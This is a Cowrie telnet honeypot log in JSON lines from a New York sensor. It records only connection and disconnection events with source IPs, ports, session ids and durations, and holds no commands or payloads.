{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39988,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e92d411eea6","protocol":"telnet","message":"New connection: 62.210.97.77:39988 (10.17.0.5:23) [session: 9e92d411eea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:30.407021Z"}
{"eventid":"cowrie.session.closed","duration":34.01705861091614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:33.262660Z","src_ip":"165.232.131.181","session":"16296d693074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39994,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25dcb82457f","protocol":"telnet","message":"New connection: 62.210.97.77:39994 (10.17.0.5:23) [session: b25dcb82457f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:35.974621Z"}
{"eventid":"cowrie.session.closed","duration":36.110379695892334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:36.312284Z","src_ip":"62.210.97.77","session":"86823c706ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40010,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d912105ee6c","protocol":"telnet","message":"New connection: 62.210.97.77:40010 (10.17.0.5:23) [session: 4d912105ee6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:38.305554Z"}
{"eventid":"cowrie.session.closed","duration":36.17310357093811,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:38.454424Z","src_ip":"62.210.97.77","session":"2678f52fa46f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.37524485588074,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:38.832264Z","src_ip":"165.232.131.181","session":"957ac44c9b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce874d5c9ba5","protocol":"telnet","message":"New connection: 62.210.97.77:53688 (10.17.0.5:23) [session: ce874d5c9ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:39.495492Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3dc8b9f58c","protocol":"telnet","message":"New connection: 65.60.27.33:51770 (10.17.0.5:23) [session: 7b3dc8b9f58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:40.735835Z"}
{"eventid":"cowrie.session.closed","duration":35.936079263687134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:40.855161Z","src_ip":"62.210.97.77","session":"91646f1cd2de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.606497049331665,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:42.051859Z","src_ip":"62.210.97.77","session":"a34f7c8d4988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18507671356201,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:42.536994Z","src_ip":"62.210.97.77","session":"9c4a96cd4b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47622084617615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:45.458574Z","src_ip":"62.210.97.77","session":"165520c16905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58494,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b44a5a4aa2","protocol":"telnet","message":"New connection: 65.60.27.33:58494 (10.17.0.5:23) [session: 37b44a5a4aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:46.750660Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53704,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a65a0671e31","protocol":"telnet","message":"New connection: 62.210.97.77:53704 (10.17.0.5:23) [session: 7a65a0671e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:48.359481Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55012,"dst_ip":"10.17.0.5","dst_port":23,"session":"940725270532","protocol":"telnet","message":"New connection: 62.210.97.77:55012 (10.17.0.5:23) [session: 940725270532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:48.658179Z"}
{"eventid":"cowrie.session.closed","duration":41.12896704673767,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:50.205128Z","src_ip":"165.232.131.181","session":"1e12eb91e48b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25983381271362,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:50.328121Z","src_ip":"62.210.97.77","session":"12dd8e580bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.84355640411377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:51.399527Z","src_ip":"65.60.27.33","session":"b2a9d849fc64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33400,"dst_ip":"159.203.135.109","dst_port":23,"session":"c850df9e8759","protocol":"telnet","message":"New connection: 134.209.8.29:33400 (159.203.135.109:23) [session: c850df9e8759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:51.983410Z"}
{"eventid":"cowrie.session.closed","duration":44.96600699424744,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:54.881977Z","src_ip":"65.60.27.33","session":"99b19439cf51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40462,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f3d5bd2ca5","protocol":"telnet","message":"New connection: 65.60.27.33:40462 (10.17.0.5:23) [session: 82f3d5bd2ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:55.124506Z"}
{"eventid":"cowrie.session.closed","duration":48.58900260925293,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:55.491944Z","src_ip":"165.232.131.181","session":"847d98cff7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.646146297454834,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:56.651750Z","src_ip":"165.232.131.181","session":"8ab0f4cb7c64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028224229812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:58.055763Z","src_ip":"62.210.97.77","session":"6e8424009035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404369592666626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:58.343292Z","src_ip":"62.210.97.77","session":"1da6e2ee66d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55018,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd046fc761a","protocol":"telnet","message":"New connection: 62.210.97.77:55018 (10.17.0.5:23) [session: 9cd046fc761a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:58.522221Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35724,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b799d077b5","protocol":"telnet","message":"New connection: 165.232.131.181:35724 (10.17.0.5:23) [session: 60b799d077b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:59.110577Z"}
{"eventid":"cowrie.session.closed","duration":36.285786628723145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:59.920419Z","src_ip":"62.210.97.77","session":"71dec08cb26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e36df5a614c","protocol":"telnet","message":"New connection: 62.210.97.77:37844 (10.17.0.5:23) [session: 3e36df5a614c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:01.578706Z"}
{"eventid":"cowrie.session.closed","duration":40.13147592544556,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:02.958971Z","src_ip":"62.210.97.77","session":"0fdca0443735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37012,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ffe2962b86d","protocol":"telnet","message":"New connection: 165.232.131.181:37012 (10.17.0.5:23) [session: 1ffe2962b86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:03.412955Z"}
{"eventid":"cowrie.session.closed","duration":35.90034008026123,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:03.600424Z","src_ip":"62.210.97.77","session":"41caaab29ffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfcf8d10681b","protocol":"telnet","message":"New connection: 62.210.97.77:37860 (10.17.0.5:23) [session: dfcf8d10681b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:04.089569Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51412,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8933a3550d9","protocol":"telnet","message":"New connection: 65.60.27.33:51412 (10.17.0.5:23) [session: e8933a3550d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:04.455636Z"}
{"eventid":"cowrie.session.closed","duration":42.36541199684143,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:06.732070Z","src_ip":"165.232.131.181","session":"c40ffb2f5bd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37864,"dst_ip":"10.17.0.5","dst_port":23,"session":"364802a0feef","protocol":"telnet","message":"New connection: 62.210.97.77:37864 (10.17.0.5:23) [session: 364802a0feef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:06.832559Z"}
{"eventid":"cowrie.session.closed","duration":31.14330530166626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:07.117988Z","src_ip":"62.210.97.77","session":"b25dcb82457f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37874,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2c6b859880","protocol":"telnet","message":"New connection: 62.210.97.77:37874 (10.17.0.5:23) [session: 9d2c6b859880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:07.960392Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46418,"dst_ip":"10.17.0.5","dst_port":23,"session":"996f667e66ab","protocol":"telnet","message":"New connection: 62.210.97.77:46418 (10.17.0.5:23) [session: 996f667e66ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:08.776628Z"}
{"eventid":"cowrie.session.closed","duration":38.569591999053955,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:08.976517Z","src_ip":"62.210.97.77","session":"9e92d411eea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57088,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b282fb4f18","protocol":"telnet","message":"New connection: 65.60.27.33:57088 (10.17.0.5:23) [session: 57b282fb4f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:09.578424Z"}
{"eventid":"cowrie.session.closed","duration":51.32164549827576,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:11.071274Z","src_ip":"165.232.131.181","session":"2793b44d307e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40384,"dst_ip":"10.17.0.5","dst_port":23,"session":"77be56f0287a","protocol":"telnet","message":"New connection: 165.232.131.181:40384 (10.17.0.5:23) [session: 77be56f0287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:11.390079Z"}
{"eventid":"cowrie.session.closed","duration":34.65883135795593,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:14.154217Z","src_ip":"62.210.97.77","session":"ce874d5c9ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33930,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a25b9c5e879","protocol":"telnet","message":"New connection: 65.60.27.33:33930 (10.17.0.5:23) [session: 5a25b9c5e879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:14.241489Z"}
{"eventid":"cowrie.session.closed","duration":37.84409713745117,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:16.149525Z","src_ip":"62.210.97.77","session":"4d912105ee6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"27c782f8381f","protocol":"telnet","message":"New connection: 62.210.97.77:46434 (10.17.0.5:23) [session: 27c782f8381f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:16.382311Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46440,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f01810c3e3","protocol":"telnet","message":"New connection: 62.210.97.77:46440 (10.17.0.5:23) [session: 82f01810c3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:16.528892Z"}
{"eventid":"cowrie.session.closed","duration":49.762269258499146,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:16.760782Z","src_ip":"65.60.27.33","session":"95c829250a0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46446,"dst_ip":"10.17.0.5","dst_port":23,"session":"784d63542dc1","protocol":"telnet","message":"New connection: 62.210.97.77:46446 (10.17.0.5:23) [session: 784d63542dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:17.073998Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46458,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13576c3c29b","protocol":"telnet","message":"New connection: 62.210.97.77:46458 (10.17.0.5:23) [session: d13576c3c29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:17.113009Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41684,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5d8047ba14","protocol":"telnet","message":"New connection: 65.60.27.33:41684 (10.17.0.5:23) [session: 2c5d8047ba14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:20.792894Z"}
{"eventid":"cowrie.session.closed","duration":32.15114617347717,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:20.809226Z","src_ip":"62.210.97.77","session":"940725270532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8df797f48f3","protocol":"telnet","message":"New connection: 65.60.27.33:43502 (10.17.0.5:23) [session: b8df797f48f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:22.668453Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44454,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e2fe493b95","protocol":"telnet","message":"New connection: 65.60.27.33:44454 (10.17.0.5:23) [session: 36e2fe493b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:23.211470Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37790,"dst_ip":"10.17.0.5","dst_port":23,"session":"b809357f74b9","protocol":"telnet","message":"New connection: 38.54.119.93:37790 (10.17.0.5:23) [session: b809357f74b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:23.638478Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39126,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bb971ddf12f","protocol":"telnet","message":"New connection: 165.232.131.181:39126 (10.17.0.5:23) [session: 0bb971ddf12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:23.747880Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43744,"dst_ip":"10.17.0.5","dst_port":23,"session":"66abe3dcd4a3","protocol":"telnet","message":"New connection: 165.232.131.181:43744 (10.17.0.5:23) [session: 66abe3dcd4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:24.252420Z"}
{"eventid":"cowrie.session.closed","duration":36.03290557861328,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:24.392315Z","src_ip":"62.210.97.77","session":"7a65a0671e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.726006269454956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:25.476531Z","src_ip":"65.60.27.33","session":"37b44a5a4aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.340260028839111,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:27.551602Z","src_ip":"65.60.27.33","session":"36e2fe493b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8238e0901a9e","protocol":"telnet","message":"New connection: 62.210.97.77:40950 (10.17.0.5:23) [session: 8238e0901a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:27.788094Z"}
{"eventid":"cowrie.session.closed","duration":48.53662395477295,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:29.272259Z","src_ip":"65.60.27.33","session":"7b3dc8b9f58c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52618,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c9acf219b6","protocol":"telnet","message":"New connection: 65.60.27.33:52618 (10.17.0.5:23) [session: 95c9acf219b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:30.253250Z"}
{"eventid":"cowrie.session.closed","duration":31.95303225517273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:30.475142Z","src_ip":"62.210.97.77","session":"9cd046fc761a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00386810302734,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:32.564454Z","src_ip":"38.54.119.93","session":"a88e7d106d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1670df9be8c6","protocol":"telnet","message":"New connection: 65.60.27.33:56824 (10.17.0.5:23) [session: 1670df9be8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:33.888840Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54520,"dst_ip":"10.17.0.5","dst_port":23,"session":"902051ab17bb","protocol":"telnet","message":"New connection: 62.210.97.77:54520 (10.17.0.5:23) [session: 902051ab17bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:34.037286Z"}
{"eventid":"cowrie.session.closed","duration":33.93114519119263,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:38.020576Z","src_ip":"62.210.97.77","session":"dfcf8d10681b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.90178394317627,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:38.026131Z","src_ip":"65.60.27.33","session":"82f3d5bd2ca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.33985257148743,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:38.323133Z","src_ip":"134.209.8.29","session":"c850df9e8759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0489387512207,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:38.881391Z","src_ip":"62.210.97.77","session":"364802a0feef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42908263206482,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:40.007648Z","src_ip":"62.210.97.77","session":"3e36df5a614c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480608224868774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:40.257137Z","src_ip":"62.210.97.77","session":"996f667e66ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88623905181885,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:41.846518Z","src_ip":"62.210.97.77","session":"9d2c6b859880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55802,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db02dffe146","protocol":"telnet","message":"New connection: 62.210.97.77:55802 (10.17.0.5:23) [session: 5db02dffe146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:42.190416Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55808,"dst_ip":"10.17.0.5","dst_port":23,"session":"623a2ea33d06","protocol":"telnet","message":"New connection: 62.210.97.77:55808 (10.17.0.5:23) [session: 623a2ea33d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:43.155951Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe7b1388197","protocol":"telnet","message":"New connection: 38.54.119.93:51000 (10.17.0.5:23) [session: 4fe7b1388197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:43.624105Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e93a777a54","protocol":"telnet","message":"New connection: 62.210.97.77:55824 (10.17.0.5:23) [session: 54e93a777a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:44.492242Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55840,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab5dd994916","protocol":"telnet","message":"New connection: 62.210.97.77:55840 (10.17.0.5:23) [session: dab5dd994916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:44.801173Z"}
{"eventid":"cowrie.session.closed","duration":35.43664813041687,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:58:45.014949Z","src_ip":"65.60.27.33","session":"57b282fb4f18","protocol":"telnet"}
